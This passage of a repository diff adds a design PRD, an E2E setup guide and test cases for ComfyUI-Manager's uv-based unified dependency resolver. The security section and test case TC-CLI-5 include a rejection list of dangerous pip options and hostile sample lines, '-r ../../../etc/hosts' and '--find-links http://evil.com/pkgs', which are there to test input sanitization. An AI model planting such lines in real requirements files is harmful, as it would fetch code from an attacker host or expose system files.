The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
### cm_global Global State
```python
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
cm_global.pip_overrides = {} # dict, loaded from JSON
cm_global.pip_downgrade_blacklist = [ # list
'torch', 'torchaudio', 'torchsde', 'torchvision',
'transformers', 'safetensors', 'kornia'
]
```
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
> If the resolver may be called from the CLI path, this initialization should also be verified.
### PIPFixer Call Pattern
```python
# Within UnifiedManager.execute_install_script() method in manager_core.py:
pip_fixer = manager_util.PIPFixer(
manager_util.get_installed_packages(),
context.comfy_path,
context.manager_files_path
)
# ... (after installation)
pip_fixer.fix_broken()
```
The unified resolver does not call PIPFixer directly.
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
```python
# manager_core.py — def is_blacklisted(name)
# 1. Simple pip_blacklist membership check
# 2. pip_downgrade_blacklist version comparison:
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
# - match is None (no version spec) + installed → block
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
```
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
### Existing Code --index-url Handling (Asymmetric)
```python
# Only exists in standalone function execute_install_script():
if '--index-url' in package_name:
s = package_name.split('--index-url')
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
# UnifiedManager.execute_install_script() method does NOT have this handling
```
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
+363
View File
@@ -0,0 +1,363 @@
# PRD: Unified Dependency Resolver
## 1. Overview
### 1.1 Background
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
**Current flow:**
```mermaid
graph LR
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
B2 -.->|May break<br/>A's deps| A2
```
### 1.2 Goal
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
**New flow (unified resolver mode):**
```mermaid
graph TD
subgraph "Install Time (immediate)"
A1[User installs node pack X] --> A2[Git clone / download]
A2 --> A3["Run X's install.py (if exists)"]
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
end
subgraph "ComfyUI Restart (startup batch)"
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
B2 --> B3["uv pip compile → pinned requirements.txt"]
B3 --> B4["uv pip install -r → Batch install"]
B4 --> B5[PIPFixer environment correction]
end
```
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
### 1.3 Scope
- Develop a new dedicated dependency resolution module
- Opt-in activation from the existing install process
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
---
## 2. Constraints
| Item | Description |
|------|-------------|
| **uv required** | Only operates in environments where `uv` is available |
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
---
## 3. Functional Requirements
### FR-1: Node Pack List and Base Dependency Input
**Input:**
- Node pack list (fullpath list of installed + to-be-installed node packs)
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
**Behavior:**
- Validate each node pack path
- Exclude disabled (`.disabled`) node packs
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
- Defensively exclude any node pack paths that are within the `.disabled` directory
- Base dependencies are treated as constraints
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
**`cm_global` runtime dependencies:**
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
### FR-2: Dependency List Extraction
**Behavior:**
- Parse `requirements.txt` from each node pack directory
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
- Strip comments (`#`) and blank lines
- **Input sanitization** (see below)
- Separate handling of `--index-url` entries (see below)
**Input sanitization:**
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
- `-r`, `--requirement` (recursive include → path traversal risk)
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
- `-c`, `--constraint` (external constraint file injection)
- `--find-links`, `-f` (external package source specification)
- `@ file://` (local file reference → path traversal risk)
- Package names containing path separators (`/`, `\`)
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
- Rejected lines are recorded in the `skipped` list with reason
**`--index-url` handling:**
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
- The unified resolver **unifies both paths** for consistent handling:
- Package spec → added to the general dependency list
- `--extra-index-url URL` → passed as `uv pip compile` argument
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
**Duplicate handling strategy:**
- No deduplication is performed directly
- Different version specs of the same package are **all passed as-is** to uv
- `uv pip compile` handles version resolution (uv determines the optimal version)
**Output:**
- Unified dependency list (tracked by source node pack)
- Additional index URL list
### FR-3: uv pip compile Execution
**Behavior:**
- Generate temporary requirements file from the collected dependency list
- Execute `uv pip compile` to produce a pinned requirements.txt
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
- `--constraint`: Pass base dependencies as constraints
- `--python`: Current Python interpreter path
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
- Resolve for the current platform (platform-specific results)
**Error handling:**
- Return conflict package report when resolution fails
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
**Output:**
- pinned requirements.txt (file with all packages pinned to exact versions)
### FR-4: Pinned Requirements-based Dependency Installation
**Behavior:**
- Execute `uv pip install -r <pinned-requirements.txt>`
- **Do NOT use `uv pip sync`**: sync deletes packages not in the lockfile, risking removal of torch, ComfyUI's own dependencies, etc.
- Already-installed packages at the same version are skipped (default uv behavior)
- Log installation results
**Error handling:**
- `uv pip install -r` is an **atomic operation** (all-or-nothing)
- On total failure: Parse stderr for failure cause report → fallback to existing pip
- **No partial failure report** (not possible due to uv's behavior)
- `InstallResult`'s `installed`/`skipped` fields are populated by parsing uv stdout; `stderr` records failure cause (no separate `failed` field needed due to atomic model)
### FR-5: Post-install Environment Correction
**Behavior:**
- Call `PIPFixer.fix_broken()` for environment integrity correction
- Restore torch version (when change detected)
- Fix OpenCV conflicts
- Restore comfyui-frontend-package
- Restore packages based on `pip_auto_fix.list`
- **This step is already performed in the existing `execute_install_script()` flow, so the unified resolver itself doesn't need to call it**
- However, an optional call option is provided for cases where the resolver is invoked independently outside the existing flow
### FR-6: install.py Execution (Existing Flow Maintained)
**Behavior:**
- The unified resolver handles deps installation **at startup time only**
- `install.py` execution is handled by the existing `execute_install_script()` flow and runs **immediately** at install time
- Deps are deferred to startup batch resolution; `install.py` runs without waiting for deps
**Control flow specification (unified mode active):**
- `execute_install_script()`: **skip** the `requirements.txt`-based individual pip install loop entirely (deps will be resolved at next restart)
- `install.py` execution runs **immediately** as before
- At next ComfyUI restart: `prestartup_script.py` runs the unified resolver for all installed node packs
**Control flow specification (unified mode inactive / fallback):**
- Existing pip install loop runs as-is (no change)
- `install.py` execution runs **immediately** as before
### FR-7: Startup Batch Resolution
**Behavior:**
- When `use_unified_resolver=True`, **all dependency resolution is deferred to ComfyUI startup**
- At install time: node pack itself is installed (git clone, etc.) and `install.py` runs immediately, but `requirements.txt` deps are **not** installed per-request
- At startup time: `prestartup_script.py` runs the unified resolver once for all installed node packs
**Startup execution flow (in `prestartup_script.py`):**
1. At **module scope** (before `execute_startup_script()` gate): check `manager_util.use_unified_resolver` flag
2. If enabled: collect all installed node pack paths, read base requirements from `comfy_path`
3. Create `UnifiedDepResolver` with empty blacklist/overrides/downgrade_blacklist (uv handles resolution natively)
4. Call `resolve_and_install()` — collects all deps → compile → install in one batch
5. On success: set `_unified_resolver_succeeded = True`, skip per-node pip in `execute_lazy_install_script()`
6. On failure: log warning, `execute_lazy_install_script()` falls back to existing per-node pip install
7. **Note**: Runs unconditionally when enabled, independent of `install-scripts.txt` existence
**`execute_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop entirely (deps will be handled at restart)
- `install.py` execution still runs immediately
**`execute_lazy_install_script()` behavior in unified mode:**
- Skip the `requirements.txt` pip install loop (already handled by startup batch resolver)
- `install.py` execution still runs
**Windows-specific behavior:**
- Windows lazy install path also benefits from startup batch resolution
- `try_install_script()` defers to `reserve_script()` as before for non-`instant_execution=True` installs
---
## 4. Non-functional Requirements
| Item | Requirement |
|------|-------------|
| **Performance** | Equal to or faster than existing individual installs |
| **Stability** | Must not break the existing environment |
| **Logging** | Log progress and results at each step (details below) |
| **Error recovery** | Fallback to existing pip method on failure |
| **Testing** | Unit test coverage above 80% |
| **Security** | requirements.txt input sanitization (see FR-2), credential log redaction, subprocess list-form invocation |
| **Concurrency** | Prevent lockfile path collisions on concurrent install requests. Use process/thread-unique suffixes or temp directories |
| **Temp files** | Guarantee temp file cleanup on both normal and abnormal termination. Clean stale files on next execution |
### Logging Requirements
| Step | Log Level | Content |
|------|-----------|---------|
| Resolver start | `INFO` | Node pack count, total dependency count, mode (unified/pip) |
| Dependency collection | `INFO` | Collection summary (collected N, skipped N, sources N) |
| Dependency collection | `DEBUG` | Per-package collection/skip/remap details |
| `--index-url` detection | `INFO` | Detected additional index URL list |
| uv compile start | `INFO` | Execution command (excluding sensitive info) |
| uv compile success | `INFO` | Pinned package count, elapsed time |
| uv compile failure | `WARNING` | Conflict details, fallback transition notice |
| Install start | `INFO` | Number of packages to install |
| Install success | `INFO` | Installed/skipped/failed count summary, elapsed time |
| Install failure | `WARNING` | Failed package list, fallback transition notice |
| Fallback transition | `WARNING` | Transition reason, original error message |
| Overall completion | `INFO` | Final result summary (success/fallback/failure) |
> **Log prefix**: All logs use `[UnifiedDepResolver]` prefix to distinguish from existing pip install logs
---
## 5. Usage Scenarios
### Scenario 1: Single Node Pack Installation (unified mode)
```
User requests installation of node pack X
→ Git clone / download node pack X
→ Run X's install.py (if exists) — immediately
→ Skip per-node pip install (deps deferred)
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (A,B,C,X)
→ uv pip compile resolves fully compatible versions
→ uv pip install -r for batch installation
→ PIPFixer environment correction
```
### Scenario 2: Multi Node Pack Batch Installation (unified mode)
```
User requests installation of node packs X, Y, Z
→ Each node pack: git clone + install.py — immediately
→ Per-node pip install skipped for all
→ User restarts ComfyUI
→ prestartup_script.py: Collect deps from ALL installed node packs (including X,Y,Z)
→ Single uv pip compile → single uv pip install -r
→ PIPFixer environment correction
```
### Scenario 3: Dependency Resolution Failure (Edge Case)
```
Even pre-validated lists may fail due to uv version differences or platform issues
→ uv pip compile failure → return conflict report
→ Display conflict details to user
→ Auto-execute existing pip fallback
```
### Scenario 4: uv Not Installed
```
uv unavailable detected → auto-fallback to existing pip method
→ Display uv installation recommendation to user
```
### Scenario 5: Windows Lazy Installation (unified mode)
```
Node pack installation requested on Windows
→ Node pack install deferred to startup (existing lazy mechanism)
→ On next ComfyUI startup: unified resolver runs first (batch deps)
→ execute_lazy_install_script() skips per-node pip (already resolved)
→ install.py still runs per node pack
```
### Scenario 6: Malicious/Non-standard requirements.txt
```
Node pack's requirements.txt contains `-r ../../../etc/hosts` or `-e git+https://...`
→ Sanitization filter rejects the line
→ Log rejection reason and continue processing remaining valid packages
→ Notify user of rejected item count
```
### Scenario 7: Concurrent Install Requests (unified mode)
```
User requests installation of node packs A and B nearly simultaneously from UI
→ Each request: git clone + install.py immediately, deps skipped
→ On restart: single unified resolver run handles both A and B deps together
→ No concurrency issue (single batch at startup)
```
---
## 6. Success Metrics
| Metric | Target |
|--------|--------|
| Dependency conflict reduction | 90%+ reduction compared to current |
| Install success rate | 99%+ (for compatibility-verified lists) |
| Performance | Equal to or better than existing individual installs |
| Adoption rate | 50%+ of eligible users |
---
## 7. Future Extensions
- ~~**`cm_global` integration** [DONE]: All `--uv-compile` CLI commands (`uv-compile`, `install`, `reinstall`, `update`, `fix`, `restore-snapshot`, `restore-dependencies`, `install-deps`) pass real `cm_global` values. Startup path (`prestartup_script.py`) still passes empty by design~~
- Lockfile caching: Reuse for identical node pack configurations
- Pre-install dependency conflict validation API: Check compatibility before installation
- Dependency tree visualization: Display dependency relationships to users
- `uv lock`-based cross-platform lockfile support (TOML format)
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
- `pip_install()` integration: Route UI direct installs through unified resolver
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
---
## Appendix A: Existing Code Install Path Mapping
> This section is reference material to clarify the unified resolver's scope of application.
| Install Path | Location | v1 Applied | Notes |
|-------------|----------|------------|-------|
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
+194
View File
@@ -0,0 +1,194 @@
# Test Environment Setup
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
## Automated Setup (Recommended)
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
```bash
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
bash tests/e2e/scripts/setup_e2e_env.sh
# 2. Start: launches ComfyUI in background, blocks until ready
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
# 4. Cleanup
rm -rf /tmp/e2e_test
```
### Script Details
| Script | Purpose | Input | Output |
|--------|---------|-------|--------|
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
---
## Prerequisites
- Python 3.9+
- Git
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
## Manual Setup (Reference)
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
### 1. ComfyUI Clone
```bash
COMFY_ROOT=$(mktemp -d)/ComfyUI
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
cd "$COMFY_ROOT"
```
### 2. Virtual Environment
```bash
cd "$COMFY_ROOT"
uv venv .venv
source .venv/bin/activate # Linux/macOS
# .venv\Scripts\activate # Windows
```
### 3. ComfyUI Dependencies
```bash
# GPU (CUDA)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
# CPU only (lightweight, for functional testing)
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
```
### 4. ComfyUI-Manager Install (Development)
```bash
# MANAGER_ROOT = comfyui-manager-draft4 repository root
MANAGER_ROOT=/path/to/comfyui-manager-draft4
# Editable install from current source
uv pip install -e "$MANAGER_ROOT"
```
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
### 5. Symlink Manager into custom_nodes
```bash
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
```
### 6. Write config.ini
```bash
mkdir -p "$COMFY_ROOT/user/__manager"
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
[default]
use_uv = true
use_unified_resolver = true
EOF
```
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
### 7. HOME Isolation
```bash
export HOME=/tmp/e2e_home
mkdir -p "$HOME/.config" "$HOME/.local/share"
```
### 8. ComfyUI Launch
```bash
cd "$COMFY_ROOT"
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
```
| Flag | Purpose |
|------|---------|
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
| `--cpu` | Run without GPU (for functional testing) |
| `--port 8199` | Use non-default port to avoid conflicts |
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
| `--listen` | Allow remote connections (optional) |
### Key Directories
| Directory | Path | Description |
|-----------|------|-------------|
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
### Startup Sequence
When Manager loads successfully, the following log lines appear:
```
[PRE] ComfyUI-Manager # prestartup_script.py executed
[START] ComfyUI-Manager # manager_server.py loaded
```
The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
---
## Caveats & Known Issues
### PYTHONPATH for `comfy` imports
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
```bash
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
```
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
### config.ini path
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
### Manager v4 endpoint prefix
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
### `Blocked by policy` is expected
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
### Bash `((var++))` trap
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
### `git+https://` URLs in requirements.txt
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
---
## Cleanup
```bash
deactivate
rm -rf "$COMFY_ROOT"
```
+788
View File
@@ -0,0 +1,788 @@
# Test Cases: Unified Dependency Resolver
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
## Enabling the Resolver
Add the following to `config.ini` (in the Manager data directory):
```ini
[default]
use_unified_resolver = true
```
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
## API Reference (for Runtime Tests)
Node pack installation at runtime uses the task queue API:
```
POST http://localhost:8199/v2/manager/queue/task
Content-Type: application/json
```
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
**Payload** (`QueueTaskItem`):
| Field | Type | Description |
|-------|------|-------------|
| `ui_id` | string | Unique task identifier (any string) |
| `client_id` | string | Client identifier (any string) |
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
| `params` | object | Operation-specific parameters (see below) |
**Install params** (`InstallPackParams`):
| Field | Type | Description |
|-------|------|-------------|
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
| `version` | string | Required by model. Set to same value as `selected_version`. |
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
> installs use per-node pip via `legacy/manager_core.py`.
---
## Out of Scope (Deferred)
The following are intentionally **not tested** in this version:
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
## CLI E2E Tests (`cm_cli uv-compile`)
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
the E2E environment from `setup_e2e_env.sh` are needed.
**Common setup**:
```bash
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
export COMFYUI_PATH="$E2E_ROOT/comfyui"
VENV_PY="$E2E_ROOT/venv/bin/python"
```
---
### TC-CLI-1: Normal Batch Resolution [P0]
**Steps**:
1. Create a test node pack with a simple dependency:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved N deps from M source(s)`
- `chardet` is importable: `$VENV_PY -c "import chardet"`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
---
### TC-CLI-2: No Custom Node Packs [P1]
**Steps**:
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
or empty dirs may remain)
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
---
### TC-CLI-3: uv Unavailable [P0]
**Steps**:
1. Create a temporary venv **without** uv:
```bash
python3 -m venv /tmp/no_uv_venv
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
```
2. Ensure no standalone `uv` in PATH:
```bash
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `uv is not available`
**Cleanup**: `rm -rf /tmp/no_uv_venv`
---
### TC-CLI-4: Conflicting Dependencies [P0]
**Steps**:
1. Create two node packs with conflicting pinned versions:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 1
- Output contains: `Resolution failed`
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
---
### TC-CLI-5: Dangerous Pattern Skip [P0]
**Steps**:
1. Create a node pack mixing valid and dangerous lines:
```bash
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
chardet>=5.0
-r ../../../etc/hosts
--find-links http://evil.com/pkgs
requests>=2.28
EOF
```
2. Run:
```bash
$VENV_PY -m cm_cli uv-compile
```
**Verify**:
- Exit code: 0
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
- `chardet` and `requests` are importable
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
---
### TC-CLI-6: install --uv-compile Single Pack [P0]
**Steps**:
1. In clean E2E environment, install a single node pack:
```bash
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
```
**Verify**:
- Exit code: 0
- Per-node pip install does NOT run (no `Install: pip packages` in output)
- `install.py` still executes
- Output contains: `Resolved N deps from M source(s)`
